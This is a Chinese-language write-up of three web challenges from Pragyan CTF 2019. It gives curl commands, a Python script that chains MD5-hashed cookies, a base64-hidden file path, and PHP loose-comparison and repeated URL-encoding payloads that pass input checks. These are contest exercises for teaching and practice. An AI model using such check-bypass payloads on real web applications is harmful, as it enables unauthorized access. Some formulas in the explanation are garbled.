Pragyan CTF 19 WEB writeups
刚刚做完Pragyan的CTF,三道web题还可以
Cookie Monster
题目描述:
Do prepare to see cookies lurking everywhere. http://159.89.166.12:13500/
随手使用curl继续简单的测试一下
给出flag进行尝试:bc54f4d60f1cec0f9a6cb70e13f2127a以及pctf{bc54f4d60f1cec0f9a6cb70e13f2127a}
发现都不是正确的答案
使用MD5进行解密发现:https://hashkiller.co.uk/Cracker/MD5
这也说明flag不是pc而是pctf{pc……..}
我们需要找到其他的PC后面的内容
1. curl --head http://159.89.166.12:13500/ -H 'Cookie: flag=bc54f4d60f1cec0f9a6cb70e13f2127a'
1.
1. HTTP/1.1 200 OK
1. Date: Mon, 11 Mar 2019 11:31:16 GMT
1. Server: Apache/2.4.29 (Ubuntu)
1. Set-Cookie: flag=114d6a415b3d04db792ca7c0da0c7a55
1. Content-Type: text/html; charset=UTF-8
发现了flag=bc54f4d60f1cec0f9a6cb70e13f2127a
进行解密使用:https://hashkiller.co.uk/Cracker/MD5得到:tf,证明我们的思路是正确的
我们可以使用脚本自动获取Set-Cookie的每个值
import os
from subprocess import Popen, PIPE
set_cookie=[]
send = Popen(['/usr/bin/curl', '-I', 'http://159.89.166.12:13500/'],stdout=PIPE)
first = send.stdout.read().split()
set_cookie.append(first[14].replace("flag=",""))
for i in range(0,23):
send = Popen(['/usr/bin/curl',"-I", '--cookie',"flag="+str(set_cookie[i]), 'http://159.89.166.12:13500/'],stdout=PIPE)
first = send.stdout.read().split()
set_cookie.append(first[14].replace("flag=",""))
for result in set_cookie:
print result
我们得到
我们可以使用在线工具:https://crackstation.net/
成功拿到flag:pctf{c0oki3s_@re_yUm_bUttHEy@ls0r3vEaL@_l0t}
Game of Faces
题目描述:
The Game of Faces, welcomes you. In this era, where AIs generate a lot of faces, we would like you to contribute to the same by uploading your image. Thank you for contributing, to continue.
随手使用curl进行测试
curl ‘http://159.89.166.12:15000/?profile_pic='
1. root@kali:~/桌面# curl 'http://159.89.166.12:15000/?profile_pic='
1. Ah! One more day, One more fake hacker
1.
1. <!DOCTYPE html>
1. <html lang="en" dir="ltr">
1. <head>
1. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
1. <link rel="stylesheet" href="index.css">
1. <meta charset="utf-8">
1. <title></title>
1. </head>
1. <body>
1. <div class="row">
1. <div class="col-lg-4" id="item1" >
1. <div class="container">
1. <div class="form_img" >
1. <form action='#' method = "GET" target="resultFrame">
1. Upload Your Profile Picture : <input type="file" name="profile_pic" >
1. <input type="submit" value="Upload Image" name="submit">
1. </form>
1. </div>
1. </div>
1. </div>
1. <div class="col-lg-4" id="item2">
1.
1. </div>
1. <div class="col-lg-4" id="item3">
1.
1. </div>
1. </div>
1.
1. <script type="text/javascript" src="index.js"></script>
1. <div class="row">
1. <div class="col-lg-12" >
1. <h1>VGhlX3Njcm9sbF9zYXlzPXRoZV9uaWdodF9raW5nVlN2YWx5cmlhbi50eHQ==</h1></div>
1. </div>
1. </body>
1. </html>
仔细观察倒数第四行的信息:VGhlX3Njcm9sbF9zYXlzPXRoZV9uaWdodF9raW5nVlN2YWx5cmlhbi50eHQ==
使用base64进行解密
然后进入链接: http://159.89.166.12:15000/the_night_kingVSvalyrian.txt
成功拿到flag:pctf{You_L00K_Wi3Rd_IN_H3R3}
Mandatory PHP
题目描述:
PHP, PHP everywhere get the flag and earn your points there.
代码审计问题
1. <?php
1. include 'flag.php';
1. highlight_file('index.php');
1. $a = $_GET["val1"];
1. $b = $_GET["val2"];
1. $c = $_GET["val3"];
1. $d = $_GET["val4"];
1. if(preg_match('/[^A-Za-z]/', $a))
1. die('oh my gawd...');
1. $a=hash("sha256",$a);
1. $a=(log10($a**(0.5)))**2;
1. if($c>0&&$d>0&&$d>$c&&$a==$c*$c+$d*$d)
1. $s1="true";
1. else
1. die("Bye...");
1. if($s1==="true")
1. echo $flag1;
1. for($i=1;$i<=10;$i++){
1. if($b==urldecode($b))
1. die('duck');
1. else
1. $b=urldecode($b);
1. }
1. if($b==="WoAHh!")
1. $s2="true";
1. else
1. die('oops..');
1. if($s2==="true")
1. echo $flag2;
1. die('end...');
1. ?>
1. Bye...
题目中除了这个$a == $c $c + $d $d,其它的信息基本都是无用的
我们查看PHP类型比较表信息发现很难将条件与numeric(int或float)值匹配
如果我们把log10($a(0.5)))2在使用第一个字母之前放入一个以该数字的整数开头的哈希值。
例如:18ac3e7343f016890c510e93f935261169d9e3f565436429830faf0934f4f8e4将被转化为18或类似的数值。
但更重要的是,以字母开头的散列将在注入公式后被转化为无限浮点数。
1. php > var_dump(hash("sha256", "y"));
1. string(64) "a1fce4363854ff888cff4b8e7875d600c2682390412a8cf79b37d0b11148b0fa"
1.
1. php > var_dump((log10("a1fce4363854ff888cff4b8e7875d600c2682390412a8cf79b37d0b11148b0fa"**(0.5)))**2);
1. PHP Warning: A non-numeric value encountered in php shell code on line 1
1. float(INF)
非常大的数字也产生了类似于INF的9e99999999999999999999999999999999999999999
1. php > var_dump((log10(hash("sha256", "y")**(0.5)))**2 == "9e99999999999999999999999999999999999999999");
1. PHP Warning: A non-numeric value encountered in php shell code on line 1
1. bool(true)
我们需要注意:$c > $d
1. php > $c = "8e99999999999999999999999999999999999999999";
1. php > $d = "9e99999999999999999999999999999999999999999";
1.
1. php > var_dump((log10(hash("sha256", "y")**(0.5)))**2 == "9e99999999999999999999999999999999999999999" * "9e99999999999999999999999999999999999999999" + "9e99999999999999999999999999999999999999999" * "9e99999999999999999999999999999999999999999");
1. PHP Warning: A non-numeric value encountered in php shell code on line 1
1. bool(true)
由以上的信息就可以得到
只需要使用val1=y&val2=b&val3=8e99999999999999999999999999999999999999999&val4=9e99999999999999999999999999999999999999999
就可以拿到第一部分的flag:
第二部分仅使用$b
第一部分中未使用的部分,因为它们是完全独立的
1. for ($i = 1; $i <= 10; $i++) {
1. if ($b == urldecode($b)) die('duck');
1. else $b = urldecode($b);
1. }
1.
1. if ($b === "WoAHh!") $s2 = "true";
1. else die('oops..');
我们只需要最终结果WoAHh!
并且$b能够被解码10次就可以得到答案
那么让我们编码!= %21
然后%= %25
十次
WoAHh%2525252525252525252521
拼接在一起得到:
拿到flag:pctf{b3_c4r3fu1_w1th_pHp_f31145}